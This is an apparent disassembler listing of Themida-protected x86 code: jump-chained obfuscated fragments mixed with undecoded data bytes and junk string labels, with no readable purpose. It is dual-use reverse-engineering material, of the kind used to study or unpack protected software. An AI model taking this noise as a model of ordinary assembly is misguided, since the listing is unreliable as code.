		pop	eax
		mov	eax, edi
		jmp	loc_5596DF
; ---------------------------------------------------------------------------
		dd 907F92Dh, 871DE934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553152:				; CODE XREF: Themida_:0055B7B5j
		add	esi, 4
		xor	esi, [esp]
		jmp	loc_5533BC
; ---------------------------------------------------------------------------
		dd 4EC81h, 14890000h, 888BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55316E:				; CODE XREF: Themida_:00559460j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55BEE8
; ---------------------------------------------------------------------------
		db 68h
		dd 234Eh, 54243C89h, 65B3E9h, 2434FF00h, 0E9240C8Bh, 0FFFFD946h
; ---------------------------------------------------------------------------


loc_55319C:				; CODE XREF: Themida_:00556730j
		or	ecx, 3BA667AAh
		jmp	loc_55B7ED
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDFh, 2BFE9h, 68585B00h, 2BCEh,	52B9E9h, 0CEE95000h
		dd 6600003Ah, 337AE581h, 0C1664566h, 686603EDh,	89665900h
		dd 6653243Ch, 0E97FBCBBh, 0FFFFF34Ah, 24048B66h, 4060E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5531EA:				; CODE XREF: Themida_:0055B04Ej
		or	edx, eax
		shl	edx, 1
		push	ebp
		push	edi
		jmp	loc_552CCF
; ---------------------------------------------------------------------------
		db 0ADh, 31h, 0D8h
		dd 0FFD57DE9h, 27E95FFFh, 83000055h, 143304C2h,	24143124h
		dd 5C241433h, 8B2434FFh, 0B068240Ch, 89000049h,	0DFE9243Ch
		dd 8300000Eh, 0BE5604C4h, 2661903h, 0AE9DEF7h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553233:				; CODE XREF: Themida_:00550FABj
		mov	bh, al
		mov	cl, bh
		jmp	loc_553370
; ---------------------------------------------------------------------------
aSs		db 'S^:',0
		align 2


loc_553242:				; CODE XREF: Themida_:00550E6Aj
		mov	[eax], dh
		pop	edx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		jmp	loc_55BE63
; ---------------------------------------------------------------------------
		dd offset dword_500844+724h
		dd 24048900h, 1A926851h, 31590E0Ch, 8B04244Ch, 5451240Ch
		dd 42BD5559h, 81335B78h, 0AC7124EDh, 0E9DDF71Ah, 6A80h
		dd 4D68F781h, 0FA3122A2h, 5AD3015Fh, 0B850C301h, 2E562B45h
		dd 0FFCBCCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553299:				; CODE XREF: Themida_:005551EAj
		sub	esp, 4
		mov	[esp], ebp
		pop	dword ptr [edx+30h]
		pop	ebp
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		dw 3DE9h
		dd 0F7FFFFC6h, 3CED81D5h, 51150F69h, 1F5BCDB9h,	59CD01D3h
		dd 35F968h, 24148900h, 0D689EA89h, 0E31FE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5532CE:				; CODE XREF: Themida_:0054FF74j
		pop	esi
		pop	edi
		jmp	loc_556E8A
; ---------------------------------------------------------------------------
aSb		db '^b',27h,0
		db 0
; ---------------------------------------------------------------------------


loc_5532DB:				; CODE XREF: Themida_:005586DEj
		push	eax
		mov	eax, esp
		jmp	loc_55438C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 1EF8100h, 81000000h, 3130A5EFh, 8BF831B6h, 8957243Ch
		dd 2752E9E7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553302:				; CODE XREF: Themida_:00550A39j
		pop	ecx
		push	ebx
		mov	ebx, 351D1CD2h
		jmp	loc_554DEE
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 42DF6A60h, 0DC06C781h, 0EFD11B8Bh, 663CCF81h, 0EF810658h
		dd 175F673Bh, 0BC9E9h, 81D2F700h, 0D0C00DF2h, 4B2EE984h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		jmp	loc_559642
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	148904ECh, 2BA24h, 0EF810000h
		dd 52815164h, 25E9D701h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553363:				; CODE XREF: Themida_:005544B2j
		push	ebp
		mov	ebp, 9B57072h
		add	eax, ebp
		jmp	loc_552D27
; ---------------------------------------------------------------------------


loc_553370:				; CODE XREF: Themida_:00553237j
		pop	ebx
		pop	eax
		sub	bl, 0F6h
		sub	bl, cl
		add	bl, 0F6h
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	loc_55232E
; ---------------------------------------------------------------------------
		db 68h
		dd 70071522h, 0E9241C8Bh, 21B5h, 6B74A968h, 241C8B11h
		dd 0E904C483h, 2BC3h, 0E688ADB4h, 5AF00058h, 3538E9h, 0E9E68900h
		dd 182Eh
; ---------------------------------------------------------------------------


loc_5533BC:				; CODE XREF: Themida_:0055315Bj
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	59BFh
		mov	[esp], ebx
		push	eax
		jmp	loc_5509B8
; ---------------------------------------------------------------------------


loc_5533D1:				; CODE XREF: Themida_:00554DBFj
		mov	ebx, [esp]
		jmp	loc_55033C
; ---------------------------------------------------------------------------
		db 30h,	0C3h, 0Fh
		dd 0D9E9C0B6h, 88FFFFCDh, 0CEE7E9C2h, 0E883FFFFh, 24048702h
		dd 0C89665Ch, 8AD18824h, 88022454h, 6602244Ch, 0E782E959h
		dd 805AFFFFh, 0EB808AC3h, 3396E930h, 0C7810000h, 4, 0FFD396E9h
		dd 59595DFFh, 457CF581h, 0EB29672Eh, 0E9242C8Bh, 1E5Ch
		dd 685AD031h, 6E3Dh, 68242C89h,	261B6FA3h, 4938E9h
		db 0
; ---------------------------------------------------------------------------


loc_553445:				; CODE XREF: Themida_:0055045Ej
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552EAF
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 6BD86850h, 2D584428h, 44286BD4h, 0E958C189h
		dd 235Ch, 6804C483h, 65FCh, 0FFEEDDE9h,	0C8B66FFh, 4EC8124h
		dd 89000000h, 0E6892434h, 0AFBA5255h, 810D4F54h, 4F54ABEAh
		dd 60ABE90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55349E:				; CODE XREF: Themida_:00557F27j
		add	edi, ecx
		jmp	loc_55BB87
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 0D4BF5756h, 0E936E618h, 233Ch, 0F028E4B6h, 0FFE37AE9h
		dd 0E9535FFFh, 7FBEh
; ---------------------------------------------------------------------------


loc_5534C8:				; CODE XREF: Themida_:0054FA36j
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		push	77F04AD3h
		jmp	loc_55034C
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0B4h
		dd 0C1014705h, 0E6C104E6h, 38EE8103h, 8115552Eh, 0EA3D96F6h
		dd 0BFC68108h, 29AD85A9h, 1D16E9F0h, 835C0000h,	0C68104C4h
		dd 4, 6C7D68h, 24048900h, 5742E9h, 281CB700h, 285B66F8h
		dd 1604E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553522:				; CODE XREF: Themida_:0055AAB9j
		xor	edx, 5AF91103h
		mov	esi, 1EF137F0h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2BAC3690h
		add	dword ptr [esp+8], 12987592h
		sub	dword ptr [esp+8], 65A02805h
		sub	[esp+8], edi
		add	dword ptr [esp+8], 65A02805h
		sub	dword ptr [esp+8], 12987592h
		pop	edi
		sub	[esp+4], esi
		add	dword ptr [esp+4], 2BAC3690h
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [edi+20h]
		jmp	loc_550A70
; ---------------------------------------------------------------------------
		dd 47208BBDh, 20E58170h, 0E90ED97Eh, 3897h
; ---------------------------------------------------------------------------


loc_553590:				; CODE XREF: Themida_:00554876j
		push	edi
		mov	edi, 5145277Eh
		add	eax, edi
		pop	edi
		jmp	loc_550660
; ---------------------------------------------------------------------------


loc_55359E:				; CODE XREF: Themida_:00558A5Fj
		push	edi
		push	7CB7712Ah
		pop	edi
		or	edi, 32BB17A0h
		sub	edi, 7EBF57AAh
		jmp	loc_54FF68
; ---------------------------------------------------------------------------
		dw 0E1C0h
		dd 88525004h, 1BE951CAh, 66FFFFE2h, 8BD5305Bh, 58E92414h
		dd 0FF000082h, 5D042474h, 8B24048Fh, 0D3662424h, 0E99C242Ch
		dd 0FFFFC304h, 24048B66h, 33E9E9h, 0B951AD00h, 73CA3593h
		dd 2869E181h, 0E1811F20h, 50757010h, 2F9BBA52h,	0C281068Dh
		dd 2480D9CBh, 0C15AD129h, 0D1F703E1h, 46F6F181h, 42E993BFh
		dd 68FFFFC9h, 57A9h, 5061E9h, 240C3300h, 33240C31h, 575C240Ch
		dd 0C781E789h, 4, 49B95153h, 81499461h,	607075F1h, 40E9414Dh
		dd 89000007h, 2434FFCAh, 4C48159h, 81000000h, 0F3042444h
		dd 0E9475729h, 0FFFFC54Bh, 292C5Bh, 42904C8h, 4942CD3h
		dd 8BBE2C19h, 92E9240Ch, 81FFFFF4h, 4C4h, 0E9506600h, 1234h
; ---------------------------------------------------------------------------


loc_55368C:				; CODE XREF: Themida_:0055B775j
		or	eax, eax
		jz	loc_556FE3
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 1Ch
		mov	edx, ebp
		pop	ebp
		add	edx, edi
		jmp	loc_555602
; ---------------------------------------------------------------------------
		dw 51ACh
		dd 13F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_5536B1:				; CODE XREF: Themida_:00554B63j
		push	70466FA5h
		pop	ebp
		not	ebp
		inc	ebp
		xor	ebp, 8FB9905Fh
		jmp	loc_54FB13
; ---------------------------------------------------------------------------
		db 0BEh, 61h, 56h
		dd 0B7E904FAh, 89000031h, 0E6892434h, 73685255h, 0E947BF69h
		dd 0FFFFF1CEh
; ---------------------------------------------------------------------------


loc_5536E0:				; CODE XREF: Themida_:0055290Cj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55A42A
; ---------------------------------------------------------------------------


loc_5536EE:				; CODE XREF: Themida_:00558BD8j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	edi
		push	11B9144Bh
		pop	edi
		dec	edi
		shr	edi, 7
		sub	edi, 0FFFFFFFFh
		add	edi, 3F692E0Fh
		xor	edi, 3F8CA03Ch
		add	edx, 5B3E3CB1h
		sub	edx, edi
		sub	edx, 5B3E3CB1h
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558D0F
; ---------------------------------------------------------------------------
		dd 9C240420h, 0FFC1ABE9h, 243C8BFFh, 0F2FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553745:				; CODE XREF: Themida_:00557C76j
		mov	esi, 7E076A8Eh
		jmp	loc_55073D
; ---------------------------------------------------------------------------


loc_55374F:				; CODE XREF: Themida_:005517D9j
		add	eax, 0B1B0A03Ah
		sub	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		add	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 1F1A6F99h
		jmp	loc_55770D
; ---------------------------------------------------------------------------
		dd 4EC81h, 5FE90000h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_553773:				; CODE XREF: Themida_:00556DF6j
		mov	ecx, [esp]
		add	esp, 4


loc_553779:				; CODE XREF: Themida_:00550A77j
					; Themida_:00553DE0j
		mov	ebx, [esp]
		jmp	loc_550A29
; ---------------------------------------------------------------------------
aShpr		db 'Shr',0
		dw 8900h
		dd 3FE9240Ch, 68FFFFCEh, 4D9C3A4Bh, 55EA875Ah, 5D2414F7h
		dd 3D1CE9h, 78BC6800h, 0C3E91E7Ah, 1000077h, 0CB015DEBh
		dd 46ACEB81h, 0FFE92763h, 5600007Fh, 0C681E689h, 4, 1EC3BA52h
		dd 814A7B05h, 2A35F6CAh, 0FB57E970h, 8151FFFFh,	4ECh, 241C8900h
		dd 0FFFBB3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5537E5:				; CODE XREF: Themida_:00558A95j
		push	ebx
		mov	ebx, 53BE35A7h
		push	ebp
		mov	ebp, 78257EFEh
		add	ebp, 8873C13Ah
		xor	ebx, ebp
		pop	ebp
		shl	ebx, 7
		jmp	loc_556760
; ---------------------------------------------------------------------------
aI4Icssgi	db '4$SI',0
		dd 0C5BA5200h, 0C119BE64h, 0E2C108E2h, 21E94A02h, 5F000014h
		dd 0C681D629h, 7A03794Eh, 4EC815Ah, 89000000h, 0E189240Ch
		dd 4C181h, 0BF570000h, 4, 875FF929h, 895C240Ch,	68242Ch
		dd 5D000000h, 47A0E9h
		db 0
; ---------------------------------------------------------------------------


loc_553855:				; CODE XREF: Themida_:00557D9Ej
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------


loc_55385A:				; CODE XREF: Themida_:00559EAAj
		mov	esi, eax
		pop	eax
		add	[esp+8], esi
		mov	esi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		push	ebx
		mov	ebx, 430455Ah
		add	ecx, ebx
		pop	ebx
		push	70FEh
		mov	[esp], edi
		push	11B309F8h
		jmp	loc_555359
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 0E9h
		dd 0FFFFD77Ah, 8124048Bh, 4C4h,	0D2C68100h, 155324Ah, 0D2EE81D6h
		dd 5A55324Ah, 242C8156h, 20BB2C6Ch, 8B2434FFh, 0C483243Ch
		dd 0F1E3E904h, 0C483FFFFh, 0CC9E904h, 0DF010000h, 2C7835Bh
		dd 0E9243C33h, 0FFFFF444h
; ---------------------------------------------------------------------------


loc_5538D4:				; CODE XREF: Themida_:00553DFAj
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_559517
; ---------------------------------------------------------------------------
aZzLSz		db 'Z<$$$',0
		db 2 dup(0), 68h
		dd 28A0h, 0E9243C89h, 766h
; ---------------------------------------------------------------------------


loc_5538F8:				; CODE XREF: Themida_:0055548Cj
		sub	edi, 2DDA1CC0h
		dec	edi
		xor	edi, 4ED62C5Bh
		sub	edi, 5A219F2Ch
		or	ebx, edi
		pop	edi
		neg	ebx
		push	esi
		mov	esi, 6F966657h
		and	esi, 6FE738D9h
		push	ebp
		mov	ebp, 364A43D3h
		sub	ebp, 25D1E534h
		jmp	loc_5512F4
; ---------------------------------------------------------------------------
		db 0BDh, 0CFh, 55h
		dd 0ED813AF1h, 4ECD5A5Ah, 4EC81h, 0C890000h, 0B924h, 87E90000h
		dd 100003Eh, 986856C1h,	0E9000019h, 3E71h, 8FC0B60Fh, 85E98704h
		dd 87FFFFBFh, 525C2434h, 42474FFh, 0C939E95Ah, 34FFFFFFh
		dd 2434FF24h, 4C48358h,	7FB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_553981:				; CODE XREF: Themida_:005542B3j
		mov	dx, [esp]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_558995
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 89h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 7DD5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5539A5:				; CODE XREF: Themida_:00554162j
		pop	edx
		neg	edx
		xor	edx, 0EC16C6B7h
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55020D
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0A0E95024h, 8B000004h, 0C483242Ch, 5985E904h, 34870000h
		dd 4305C24h, 9E99C24h, 0E9FFFFBFh, 0FFFFBF04h, 8124048Bh
		dd 4C4h, 29E86800h, 14890000h, 81E28924h, 4C2h,	0DCB95100h
		dd 0F7436D27h, 0F7D9F7D9h, 0E9D9F7D1h, 0FFFFD722h, 4C5815Dh
		dd 83000000h, 29E904C5h, 30000063h, 685A66D0h, 23CAh, 0FFE95BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553A2D:				; CODE XREF: Themida_:00558E01j
		pop	esi
		xor	ecx, [esp]
		jmp	loc_559D90
; ---------------------------------------------------------------------------


loc_553A36:				; CODE XREF: Themida_:0055AA66j
		push	2128h
		jmp	loc_557E95
; ---------------------------------------------------------------------------
aUsB		db 'Ub',0
		align 2


loc_553A46:				; CODE XREF: Themida_:00553F24j
		mov	ecx, 612A2801h
		mov	ebx, ecx
		jmp	loc_559811
; ---------------------------------------------------------------------------


loc_553A52:				; CODE XREF: Themida_:00558597j
		xor	ecx, edx
		pop	edx
		shr	ecx, 4
		and	ecx, 35FE6F28h
		shr	ecx, 7
		xor	ecx, 4B2856Eh
		xor	ecx, 950054Ch
		jmp	loc_555AC8
; ---------------------------------------------------------------------------
		dw 0FA31h
		dd 0D2F74A5Fh, 2F98BE56h, 0B95102A3h, 498919D5h, 0E959CE21h
		dd 7326h
; ---------------------------------------------------------------------------


loc_553A8C:				; CODE XREF: Themida_:0055A074j
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 19h
aDbys		db 'dBy\>',0
		align 4


loc_553A9C:				; CODE XREF: Themida_:00552B9Dj
		mov	eax, [esp]
		add	esp, 4
		xor	eax, ecx
		jmp	loc_5524E3
; ---------------------------------------------------------------------------
		dd 0E95DEB01h, 861h, 8904EC83h,	0E389241Ch, 4C381h, 0E3E90000h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553AC7:				; CODE XREF: Themida_:00550A24j
		sub	ecx, 1D7A2E1Bh
		jmp	loc_54F8FA
; ---------------------------------------------------------------------------
		dw 3489h
		dd 81E68924h, 4C6h, 4C68300h, 5C243487h, 4C51A62Dh, 57B9E9F3h
		dd 5B660000h, 0FFF911E9h, 0F7D0F7FFh, 4E0C1D0h,	1531C435h
		dd 58C229F5h, 0FFE625E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553B09:				; CODE XREF: Themida_:0055146Cj
		xor	ebx, 2EFC5EAAh
		jmp	loc_550392
; ---------------------------------------------------------------------------
		dd 0F98BE954h, 5266FFFFh, 7133E9h, 0B30F6600h, 0E99C2404h
		dd 0FFFFBDBCh, 62EAE281h, 0E95058EAh, 3E3Eh, 0E904EC83h
		dd 0FFFFDAD5h, 42474FFh, 586AE9h, 24148900h, 0FFEE83E9h
		dd 241433FFh, 0E924248Bh, 0FFFFBD8Ch, 5C243487h, 4EC81h
		dd 14890000h, 3973E924h, 0C3010000h, 5724048Bh,	0C781E789h
		dd 4, 4C781h, 3C870000h, 0EC815C24h, 4,	0B9240C89h, 4
		dd 0C8BCB01h, 4C48324h,	8B241C87h, 24D32424h, 0BD3EE924h
		dd 0C780FFFFh, 5BFE202Bh, 0C0DCE680h, 0F68007E6h, 66F5888Eh
		dd 9ECD805Ah, 0C5FED5F6h, 0E9BEB050h, 2255h, 0E95FFD29h
		dd 2528h, 2BDh,	5DEF0100h, 0FFED44E9h, 24248BFFh, 9C240409h
		dd 6DD2E9h, 4EC8100h, 89000000h, 1DE92434h, 0C1FFFFDCh
		dd 0F58105E5h, 3C83D384h, 0FFE687E9h, 0C78853FFh, 1C8BF988h
		dd 0CC9BE924h, 34FFFFFFh, 0E9575824h, 5145h, 8B04C483h
		dd 0CBE92404h, 6800002Fh, 6FB264B8h, 9ECE815Eh,	8107815Ch
		dd 0FFFFFFEEh, 0BDBB53FFh, 296FB37Ch, 0F3895BDEh, 30BCE95Eh
		dd 0E3880000h, 3AC38058h, 54E9B004h, 89000041h,	13B9240Ch
		dd 5719477Dh, 1F4621BFh, 8BF9216Dh, 0C481243Ch,	4, 4908E9C1h
		dd 1E981h, 0BE560000h, 28AD1463h, 4E02EEC1h, 60B7EE81h
		dd 0AEE968D8h, 8B00004Fh, 0C483241Ch, 2885B104h, 0F1005AF1h
		dd 3A2E9h, 4BF5700h, 81000000h,	0E17787EDh, 50FD0140h
		dd 5129E957h, 248B0000h, 242C8924h, 860BB53h, 0E38129B1h
		dd 714F40DAh, 0D108E3C1h, 608EE9EBh, 0B6520000h, 3479E9E4h
		dd 0BA520000h, 63F277B5h, 77B1BF57h, 0FA3163F2h, 0E92434FFh
		dd 55BBh, 4C4DC781h, 0F831F757h, 35D3E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553D02:				; CODE XREF: Themida_:00554DF6j
		shl	edx, 7
		jmp	loc_55637D
; ---------------------------------------------------------------------------
aNjmxKMssx	db 'NJMXm',1Bh,0
		dd 61E95800h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553D1F:				; CODE XREF: Themida_:0055831Dj
		push	ebp
		jmp	loc_55471E
; ---------------------------------------------------------------------------
		db 81h,	2 dup(0C3h)
		dd 81510E70h, 4B785ACBh, 8E3C17Ch, 0C105E3C1h, 0C38105E3h
		dd 145B480Ch, 0F2E9D809h, 53000075h, 4BBh, 6095E900h, 8B660000h
		dd 89502404h, 405E0h, 0BF570000h, 1A881DBAh, 0C105EFC1h
		dd 0EF8107EFh, 1A87Dh, 0E95FF829h, 0FFFFEDA3h, 24048F58h
		dd 0E9F5015Ch, 0FFFFD70Dh
; ---------------------------------------------------------------------------


loc_553D84:				; CODE XREF: Themida_:005553C1j
		add	esi, 73F7655Bh
		jmp	loc_556536
; ---------------------------------------------------------------------------
		db 41h
		dd 0FFBC4DE9h, 78E953FFh, 66FFFFCBh, 6824048Bh,	38ADh
		dd 89243489h, 4C681E6h,	0E9000000h, 0D5Eh, 8003E6C0h, 80E926F6h
		dd 66000025h, 9C2404D3h, 5CC2E9h, 0F8295F00h, 81243C8Bh
		dd 4C4h, 4875E00h, 0E949E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553DDE:				; CODE XREF: Themida_:0055285Cj
		cmp	eax, edx
		jz	loc_553779
		push	804h
		mov	[esp], ecx
		push	esi
		jmp	loc_556F3A
; ---------------------------------------------------------------------------


loc_553DF4:				; CODE XREF: Themida_:005557BFj
		add	edi, 4
		jmp	loc_5538D4
; ---------------------------------------------------------------------------
		db 0B5h
		dd 16ED807Bh, 0F34E9h, 9EED8100h, 0F720E32Bh, 2582E9DDh
		dd 0C4810000h, 4, 1930CE81h, 8AE93310h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553E27:				; CODE XREF: Themida_:0055B14Dj
		add	ebp, 4
		jmp	loc_553F47
; ---------------------------------------------------------------------------
		dw 0CA68h
		dd 0E9000070h, 6108h, 0EFBB5352h, 0E94D6F2Bh, 776Ch, 0E9240489h
		dd 2E7Ah, 240C8B66h, 8904EC83h,	0E789243Ch, 4C781h, 60E90000h
		dd 89FFFFD1h, 405E0h, 4050000h,	33000000h, 4312404h, 24043324h
		dd 554EE9h, 24348B00h, 5304C483h, 69206857h, 475F791Bh
		dd 0E5CE781h, 0D0E916FFh, 89000048h, 4BA52E0h, 1000000h
		dd 4055AD0h, 87000000h,	248B2404h, 3CD56824h, 3C890000h
		dd 61F2BF24h, 0EC816F07h, 4, 688AE9h, 0DABD5500h, 81031622h
		dd 5E4723EDh, 0E9E5D115h, 4061h, 57C82959h, 0CD2F0FBFh
		dd 82C7813Eh, 8172FC0Dh, 617011F7h, 0C94FE9FEh,	0F901FFFFh
		dd 81243C8Bh, 4C4h, 470CE900h, 0EB810000h, 6D5A106Ah, 1CDCBD55h
		dd 95E9001Bh, 58FFFFFBh, 0E95EF229h, 2C2Ah
; ---------------------------------------------------------------------------


loc_553F20:				; CODE XREF: Themida_:00554E79j
		mov	[esp], ebx
		push	ecx
		jmp	loc_553A46
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 98E6866h, 1152E9h, 2434FF00h, 65A8E9h
		db 0
; ---------------------------------------------------------------------------


loc_553F3D:				; CODE XREF: Themida_:00551191j
		mov	ebp, 0F21984C0h
		jmp	loc_556AFE
; ---------------------------------------------------------------------------


loc_553F47:				; CODE XREF: Themida_:00553E2Dj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55074C
; ---------------------------------------------------------------------------
aAZls		db ']L$',0
		dw 2900h
		dd 24048BC3h, 4BD3E9h, 24143300h, 33241431h, 248B2414h
		dd 66C33124h, 5DE9008Fh, 68FFFFB9h, 147Ah, 0FFE9DAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553F95:				; CODE XREF: Themida_:00550072j
		add	ecx, esi
		jmp	loc_55017A
; ---------------------------------------------------------------------------
		dd 4EB835Ah, 16A3E9h, 4EC8300h,	0E9241C89h, 14C0h, 0F724248Bh
		dd 59EC68E9h, 13E90000h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553FBF:				; CODE XREF: Themida_:005550FEj
		or	edx, 7DDB7EBDh
		xor	edx, 70606E9Bh
		mov	esi, edx
		pop	edx
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		add	eax, 50F92243h
		add	ebx, eax
		pop	eax
		neg	ebx
		not	ebx
		jmp	loc_55786B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 0B652535Ch,	68B55142h, 0C058F580h
		dd 0CD8007E5h, 0E9DDF6A3h, 7074h, 0A0C3815Fh, 81A6D0B3h
		dd 5322AC7h, 7334E95Fh,	0C6810000h, 53A1B0Fh, 64E9FE01h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554027:				; CODE XREF: Themida_:00551383j
		mov	[esp], ebp
		jmp	loc_55839F
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2, 0E959CE01h, 0FFFFF996h
; ---------------------------------------------------------------------------


loc_55403C:				; CODE XREF: Themida_:0055AB8Cj
		mov	ebp, 4
		push	edx
		jmp	loc_5564B4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 18C368h, 24048900h, 80B6B252h, 0C28093CAh, 29DCE91Fh
		dd 74FF0000h, 8F5F0424h, 248B2404h, 48B6624h, 4EC8324h
		dd 54240C89h, 8B2434FFh, 8951240Ch, 7AB3E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554082:				; CODE XREF: Themida_:005561E2j
		pop	esp
		mov	[esp], esi
		push	ebx
		push	ebp
		push	ecx
		mov	ecx, 33837662h
		mov	ebp, 5AD1EF84h
		sub	ebp, ecx
		pop	ecx
		and	ebp, 10081010h
		inc	ebp
		dec	ebp
		neg	ebp
		add	ebp, 640853ECh
		xor	ebp, 660043ECh
		mov	ebx, ebp
		pop	ebp
		push	ebx
		pop	esi
		push	dword ptr [esp]
		jmp	loc_556B0F
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 55h
		dd 0FE03C980h, 0B05066C9h, 66C1280Fh, 332C58h, 4AB551C8h
		dd 0ED80D5F6h, 352AE9BCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5540DA:				; CODE XREF: Themida_:0055B6DFj
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_559B0F
; ---------------------------------------------------------------------------
aIcs		db '>',0
		dd 44F68100h, 13F73F0h,	24348BF3h, 4C481h, 4BE90000h, 52000057h
		dd 42474FFh, 24048F5Ah,	1105E9h, 0E953AC00h, 0FFFFFBA2h
; ---------------------------------------------------------------------------


loc_554134:				; CODE XREF: Themida_:005510CAj
		and	ecx, 6E133D9Ah
		neg	ecx
		add	ecx, 24031D16h
		jmp	loc_558E56
; ---------------------------------------------------------------------------
		db 66h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	13E9394Dh
		jmp	loc_5539A5
; ---------------------------------------------------------------------------
aJjuhbXvgbsK	db 'JhVBK',0
		dw 5C00h
		dd offset dword_526E70+6F8h
		dd 242C8900h, 7BBC68h, 24248900h, 4240483h, 0FFF87FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554191:				; CODE XREF: Themida_:00552EFEj
		sub	al, dl
		pop	edx
		jmp	loc_552D87
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 50000000h, 86A1EB8h,	0C1D0F71Fh, 4D2504E8h, 2D3D6272h
		dd 0C027048h, 1E42E9h, 93E95800h
		db 70h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5541BF:				; CODE XREF: Themida_:005570DDj
		sub	ebx, 7FE47ACh
		sub	ebx, 0C2E1BC94h
		add	edi, ebx
		pop	ebx
		jmp	loc_559376
; ---------------------------------------------------------------------------


loc_5541D3:				; CODE XREF: Themida_:00551D31j
		pop	eax
		jmp	loc_55BE3D
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
aXvsg		db 'XVG<',0
		dw 8100h
		dd 0EF0C70C3h, 8E3C155h, 646E9h
		db 0
; ---------------------------------------------------------------------------


loc_5541F1:				; CODE XREF: Themida_:00550EF0j
		pop	eax
		push	28D2h
		mov	[esp], esi
		push	1BAAh
		mov	[esp], ecx
		mov	ecx, 1
		push	ecx
		jmp	loc_5554B7
; ---------------------------------------------------------------------------


loc_55420D:				; CODE XREF: Themida_:00557F49j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_55421C:				; CODE XREF: Themida_:0055BAACj
		push	52FBh
		jmp	loc_54FC61
